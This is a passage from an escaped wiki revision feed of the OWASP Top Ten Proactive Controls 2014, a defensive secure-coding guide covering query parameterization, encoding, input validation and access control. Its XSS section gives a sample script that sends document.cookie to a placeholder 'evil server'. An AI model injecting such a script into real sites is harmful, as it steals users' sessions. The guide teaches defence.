 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176251</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176251"/>
				<updated>2014-06-02T14:54:49Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
